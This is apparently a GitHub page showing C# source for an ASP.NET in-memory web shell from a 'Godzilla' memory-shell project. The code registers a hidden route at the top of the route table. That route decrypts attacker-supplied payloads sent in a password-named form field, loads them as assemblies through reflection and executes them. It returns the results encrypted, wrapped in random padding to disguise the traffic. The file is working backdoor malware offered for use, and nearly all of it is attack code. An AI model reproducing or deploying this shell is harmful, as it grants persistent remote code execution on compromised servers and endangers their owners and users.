- Notifications
You must be signed in to change notification settings - Fork 17
Expand file tree
/
Copy pathHttpWebRouteMemoryShell.cs
More file actions
Latest commit
100 lines (91 loc) · 4.14 KB
/
Copy pathHttpWebRouteMemoryShell.cs
File metadata and controls
100 lines (91 loc) · 4.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
usingSystem;
usingSystem.Reflection;
usingSystem.Text;
usingSystem.Web;
usingSystem.Web.Routing;
namespaceGodzillaMemoryShellProject
{
//Support for .net Framework 3.5 - all connects when connecting to an existing route
publicclassHttpWebRouteMemoryShell:RouteBase
{
publicstringpassword="pass";
publicstringkey="3c6e0b8a9c15224a";
privateAssemblypayload;
privateRandomrd=newRandom();
publicstaticboolload=false;
staticHttpWebRouteMemoryShell()
{
try
{
HttpWebRouteMemoryShellroute=newHttpWebRouteMemoryShell();;
RouteTable.Routes.Insert(0,route);
load=true;
}
catch(Exception)
{
}
}
publicHttpWebRouteMemoryShell()
{
}
publicoverrideRouteDataGetRouteData(System.Web.HttpContextBasehttpContext)
{
try
{
HttpContext.Current.Application.Contents.Count.ToString();
HttpContextContext=HttpContext.Current;
if(HttpContext.Current.Request.ContentType.Contains("www-form")&&Context.Request[password]!=null)
{
stringmd5=System.BitConverter.ToString(newSystem.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(password+key))).Replace("-","");
byte[]data=System.Convert.FromBase64String(Context.Request[password]);
data=newSystem.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key),System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data,0,data.Length);
if(payload==null)
{
payload=(Assembly)typeof(System.Reflection.Assembly).GetMethod("Load",newSystem.Type[]{typeof(byte[])}).Invoke(null,newobject[]{data});
}
else
{
objecto=payload.CreateInstance("LY");
System.IO.MemoryStreamoutStream=newSystem.IO.MemoryStream();
o.Equals(outStream);
o.Equals(data);
o.ToString();
byte[]r=outStream.ToArray();
if(r.Length>0)
{
outStream.Dispose();
Context.Response.Write(GenerateRandomString(rd.Next(5,50)));
Context.Response.Write(md5.Substring(0,16));
Context.Response.Write(System.Convert.ToBase64String(newSystem.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key),System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r,0,r.Length)));
Context.Response.Write(md5.Substring(16));
Context.Response.Write(GenerateRandomString(rd.Next(10,60)));
HttpContext.Current.Response.End();
returnnull;
}
}
}
}
catch(Exception)
{
}
returnnull;
}
publicstaticstringGenerateRandomString(intlength)
{
char[]constant="0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm".ToCharArray();
StringBuildersb=newStringBuilder();
byte[]b=newbyte[4];
newSystem.Security.Cryptography.RNGCryptoServiceProvider().GetBytes(b);
Randomrd=newRandom(BitConverter.ToInt32(b,0));
for(inti=0;i<length;i++)
{
sb.Append(constant[rd.Next(constant.Length-1)].ToString());
}
returnsb.ToString();;
}
publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}
}